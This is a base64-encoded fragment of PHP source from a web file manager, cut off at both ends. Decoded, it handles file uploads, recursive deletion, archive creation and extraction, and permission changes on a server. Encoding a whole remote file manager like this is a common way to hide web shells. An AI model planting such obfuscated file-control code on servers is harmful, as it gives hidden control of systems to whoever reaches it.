0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fVVBMT0FEX0VYVEVOU0lPTikgOiBmYWxzZTtcbiAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJyxcbiAgICAgICAgJ2luZm8nICAgPT4gJ09vcHMhIFRyeSBhZ2FpbidcbiAgICApO1xuXG4gICAgJGZpbGVuYW1lID0gJGZbJ2ZpbGUnXVsnbmFtZSddO1xuICAgICR0bXBfbmFtZSA9ICRmWydmaWxlJ11bJ3RtcF9uYW1lJ107XG4gICAgJGV4dCA9IHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRklMRU5BTUUpICE9ICcnID8gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpIDogJyc7XG4gICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTtcblxuICAgIGlmICghZm1faXN2YWxpZF9maWxlbmFtZSgkZmlsZW5hbWUpICYmICFmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRmdWxsUGF0aElucHV0KSkge1xuICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkludmFsaWQgRmlsZSBuYW1lIVwiLFxuICAgICAgICApO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkdGFyZ2V0UGF0aCA9ICRwYXRoIC4gJGRzO1xuICAgIGlmIChpc193cml0YWJsZSgkdGFyZ2V0UGF0aCkpIHtcbiAgICAgICAgJGZ1bGxQYXRoID0gJHBhdGggLiAnXC8nIC4gJGZ1bGxQYXRoSW5wdXQ7XG4gICAgICAgICRmb2xkZXIgPSBzdWJzdHIoJGZ1bGxQYXRoLCAwLCBzdHJycG9zKCRmdWxsUGF0aCwgXCJcL1wiKSk7XG5cbiAgICAgICAgaWYgKCFpc19kaXIoJGZvbGRlcikpIHtcbiAgICAgICAgICAgICRvbGQgPSB1bWFzaygwKTtcbiAgICAgICAgICAgIG1rZGlyKCRmb2xkZXIsIDA3NzcsIHRydWUpO1xuICAgICAgICAgICAgdW1hc2soJG9sZCk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoZW1wdHkoJGZbJ2ZpbGUnXVsnZXJyb3InXSkgJiYgIWVtcHR5KCR0bXBfbmFtZSkgJiYgJHRtcF9uYW1lICE9ICdub25lJyAmJiAkaXNGaWxlQWxsb3dlZCkge1xuICAgICAgICAgICAgaWYgKCRjaHVua1RvdGFsKSB7XG4gICAgICAgICAgICAgICAgJG91dCA9IEBmb3BlbihcInskZnVsbFBhdGh9LnBhcnRcIiwgJGNodW5rSW5kZXggPT0gMCA/IFwid2JcIiA6IFwiYWJcIik7XG4gICAgICAgICAgICAgICAgaWYgKCRvdXQpIHtcbiAgICAgICAgICAgICAgICAgICAgJGluID0gQGZvcGVuKCR0bXBfbmFtZSwgXCJyYlwiKTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCRpbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFBIUF9WRVJTSU9OX0lEIDwgODAwMDkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbyB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoOzspIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWZmID0gZnJlYWQoJGluLCA0MDk2KTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYnVmZiA9PT0gZmFsc2UgfHwgJGJ1ZmYgPT09ICcnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJG91dCwgJGJ1ZmYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoIWZlb2YoJGluKSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmVhbV9jb3B5X3RvX3N0cmVhbSgkaW4sICRvdXQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiBcImZpbGUgdXBsb2FkIHN1Y2Nlc3NmdWxcIlxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+IFwiZmFpbGVkIHRvIG9wZW4gb3V0cHV0IHN0cmVhbVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdlcnJvckRldGFpbHMnID0+IGVycm9yX2dldF9sYXN0KClcbiAgICAgICAgICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaW4pO1xuICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRvdXQpO1xuICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0bXBfbmFtZSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmYWlsZWQgdG8gb3BlbiBvdXRwdXQgc3RyZWFtXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICBpZiAoJGNodW5rSW5kZXggPT0gJGNodW5rVG90YWwgLSAxKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXh0XzEgPSAkZXh0ID8gJy4nIC4gJGV4dCA6ICcnO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxQYXRoVGFyZ2V0ID0gJHBhdGggLiAnXC8nIC4gYmFzZW5hbWUoJGZ1bGxQYXRoSW5wdXQsICRleHRfMSkgLiAnXycgLiBkYXRlKCd5bWRIaXMnKSAuICRleHRfMTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsUGF0aFRhcmdldCA9ICRmdWxsUGF0aDtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICByZW5hbWUoXCJ7JGZ1bGxQYXRofS5wYXJ0XCIsICRmdWxsUGF0aFRhcmdldCk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCAkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmdWxsUGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgICA9PiAnQ291bGRuXFwndCB1cGxvYWQgdGhlIHJlcXVlc3RlZCBmaWxlLidcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnZXJyb3InLFxuICAgICAgICAgICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkVycm9yIHdoaWxlIHVwbG9hZGluZyBmaWxlcy4gVXBsb2FkZWQgZmlsZXMgJHVwbG9hZHNcIixcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLFxuICAgICAgICAgICAgJ2luZm8nICAgPT4gJ1RoZSBzcGVjaWZpZWQgZm9sZGVyIGZvciB1cGxvYWQgaXNuXFwndCB3cml0ZWFibGUuJ1xuICAgICAgICApO1xuICAgIH1cbiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgZXhpdCgpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydncm91cCddLCAkX1BPU1RbJ2RlbGV0ZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSAmJiBjb3VudCgkZmlsZXMpKSB7XG4gICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgaWYgKCRmICE9ICcnKSB7XG4gICAgICAgICAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlciBkZWxldGVkJykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJyksICdlcnJvcicpO1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7XG4gICAgfVxuXG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZ3JvdXAnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAoaXNzZXQoJF9QT1NUWyd6aXAnXSkgfHwgaXNzZXQoJF9QT1NUWyd0YXInXSkpICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAkZXh0ID0gJ3ppcCc7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGV4dCA9IGlzc2V0KCRfUE9TVFsndGFyJ10pID8gJ3RhcicgOiAnemlwJztcblxuICAgIGlmICgoJGV4dCA9PSBcInppcFwiICYmICFjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgfHwgKCRleHQgPT0gXCJ0YXJcIiAmJiAhY2xhc3NfZXhpc3RzKCdQaGFyRGF0YScpKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICAkc2FuaXRpemVkX2ZpbGVzID0gYXJyYXkoKTtcblxuICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkge1xuICAgICAgICBhcnJheV9wdXNoKCRzYW5pdGl6ZWRfZmlsZXMsIGZtX2NsZWFuX3BhdGgoJGZpbGUpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkc2FuaXRpemVkX2ZpbGVzO1xuXG4gICAgaWYgKCFlbXB0eSgkZmlsZXMpKSB7XG4gICAgICAgIGNoZGlyKCRwYXRoKTtcblxuICAgICAgICBpZiAoY291bnQoJGZpbGVzKSA9PSAxKSB7XG4gICAgICAgICAgICAkb25lX2ZpbGUgPSByZXNldCgkZmlsZXMpO1xuICAgICAgICAgICAgJG9uZV9maWxlID0gYmFzZW5hbWUoJG9uZV9maWxlKTtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJG9uZV9maWxlIC4gJ18nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nIC4gJGV4dDtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJ2FyY2hpdmVfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuJyAuICRleHQ7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSAnemlwJykge1xuICAgICAgICAgICAgJHppcHBlciA9IG5ldyBGTV9aaXBwZXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkemlwcGVyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInKSB7XG4gICAgICAgICAgICAkdGFyID0gbmV3IEZNX1ppcHBlcl9UYXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkdGFyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQXJjaGl2ZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0NyZWF0ZWQnKSwgZm1fZW5jKCR6aXBuYW1lKSkpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IGNyZWF0ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnTm90aGluZyBzZWxlY3RlZCcpLCAnYWxlcnQnKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWyd1bnppcCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkdW56aXAgPSB1cmxkZWNvZGUoJF9QT1NUWyd1bnppcCddKTtcbiAgICAkdW56aXAgPSBmbV9jbGVhbl9wYXRoKCR1bnppcCk7XG4gICAgJHVuemlwID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICR1bnppcCk7XG4gICAgJGlzVmFsaWQgPSBmYWxzZTtcblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cblxuICAgIGlmICgkdW56aXAgIT0gJycgJiYgaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkdW56aXApKSB7XG4gICAgICAgICR6aXBfcGF0aCA9ICRwYXRoIC4gJ1wvJyAuICR1bnppcDtcbiAgICAgICAgJGV4dCA9IHBhdGhpbmZvKCR6aXBfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKTtcbiAgICAgICAgJGlzVmFsaWQgPSB0cnVlO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICBpZiAoKCRleHQgPT0gXCJ6aXBcIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09IFwidGFyXCIgJiYgIWNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgaWYgKCRpc1ZhbGlkKSB7XG4gICAgICAgICR0b2ZvbGRlciA9ICcnO1xuICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyd0b2ZvbGRlciddKSkge1xuICAgICAgICAgICAgJHRvZm9sZGVyID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJHRvZm9sZGVyLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiAkdG9mb2xkZXI7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSBcInppcFwiKSB7XG4gICAgICAgICAgICAkemlwcGVyID0gbmV3IEZNX1ppcHBlcigpO1xuICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPnVuemlwKCR6aXBfcGF0aCwgJHBhdGgpO1xuICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSBcInRhclwiKSB7XG4gICAgICAgICAgICB0cnkge1xuICAgICAgICAgICAgICAgICRnemlwcGVyID0gbmV3IFBoYXJEYXRhKCR6aXBfcGF0aCk7XG4gICAgICAgICAgICAgICAgaWYgKEAkZ3ppcHBlci0+ZXh0cmFjdFRvKCRwYXRoLCBudWxsLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgJHJlcyA9IHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgdW5wYWNrZWQnKSk7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQXJjaGl2ZSBub3QgdW5wYWNrZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NobW9kJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZICYmICFGTV9JU19XSU4pIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZyhcIkludmFsaWQgVG9rZW4uXCIpLCAnZXJyb3InKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGZpbGUgPSAkX1BPU1RbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgJG1vZGUgPSAwO1xuICAgIGlmICghZW1wdHkoJF9QT1NUWyd1ciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwNDAwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXcnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDIwMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAxMDA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydnciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDQwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAyMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMTA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydvciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDA0O1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAwMjtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMDE7XG4gICAgfVxuXG4gICAgaWYgKEBjaG1vZCgkcGF0aCAuICdcLycgLiAkZmlsZSwgJG1vZGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBjaGFuZ2VkJykpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5cbiRwYXRoID0gRk1fUk9PVF9QQVRIO1xuaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbn1cblxuaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9Jyk7XG59XG5cbiRwYXJlbnQgPSBmbV9nZXRfcGFyZW50X3BhdGgoRk1fUEFUSCk7XG5cbiRvYmplY3RzID0gaXNfcmVhZGFibGUoJHBhdGgpID8gc2NhbmRpcigkcGF0aCkgOiBhcnJheSgpO1xuJGZvbGRlcnMgPSBhcnJheSgpO1xuJGZpbGVzID0gYXJyYXkoKTtcbiRjdXJyZW50X3BhdGggPSBhcnJheV9zbGljZShleHBsb2RlKFwiXC9cIiwgJHBhdGgpLCAtMSlbMF07XG5pZiAoaXNfYXJyYXkoJG9iamVjdHMpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGN1cnJlbnRfcGF0aCwgJHBhdGgpKSB7XG4gICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgaWYgKCRmaWxlID09ICcuJyB8fCAkZmlsZSA9PSAnLi4nKSB7XG4gICAgICAgICAgICBjb250aW51ZTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoIUZNX1NIT1dfSElEREVOICYmIHN1YnN0cigkZmlsZSwgMCwgMSkgPT09ICcuJykge1xuICAgICAgICAgICAgY29udGludWU7XG4gICAgICAgIH1cbiAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG4gICAgICAgIGlmIChAaXNfZmlsZSgkbmV3X3BhdGgpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUsICRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGU7XG4gICAgICAgIH0gZWxzZWlmIChAaXNfZGlyKCRuZXdfcGF0aCkgJiYgJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJG5ld19wYXRoKSkge1xuICAgICAgICAgICAgJGZvbGRlcnNbXSA9ICRmaWxlO1xuICAgICAgICB9XG4gICAgfVxufVxuXG5pZiAoIWVtcHR5KCRmaWxlcykpIHtcbiAgICBuYXRjYXNlc29ydCgkZmlsZXMpO1xufVxuaWYgKCFlbXB0eSgkZm9sZGVycykpIHtcbiAgICBuYXRjYXNlc29ydCgkZm9sZGVycyk7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndXBsb2FkJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGZtX3Nob3dfaGVhZGVyKCk7XG4gICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTtcbiAgICBmdW5jdGlvbiBnZXRVcGxvYWRFeHQoKVxuICAgIHtcbiAgICAgICAgJGV4dEFyciA9IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKTtcbiAgICAgICAgaWYgK